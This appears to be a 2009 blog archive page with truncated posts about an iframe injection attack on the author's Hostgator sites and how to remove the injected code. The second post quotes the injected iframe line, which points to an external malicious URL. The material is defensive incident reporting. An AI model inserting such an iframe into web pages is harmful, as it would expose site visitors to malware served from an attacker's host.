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How did I remove the iframe the hackers put on my index pages

September 15th, 2009 · No Comments

I am getting a lot of questions on how to remove the iframes that got hacked onto the index pages, whether index.php, index html, or default.html
It is actually relatively easy, and I’ll show you two methods, one with using ftp and the other using your file manager that comes with cpanel.
Hold on… I have a [...]

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Tags: security · wordpress blog

All my sites on Hostgator got attacked by iframe hack

September 5th, 2009 · No Comments

At 7 pm tonight my students emailed me that our blog was down.
I checked immediately for an attack, and found that all the index.php and index.html files were altered an 18:46 EST, and a line of code was added either after the starting body tag or at the very end of the code
<iframe src=”http://a6t.homeftp.net:8080/ts/in.cgi?open” [...]

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Tags: wordpress blog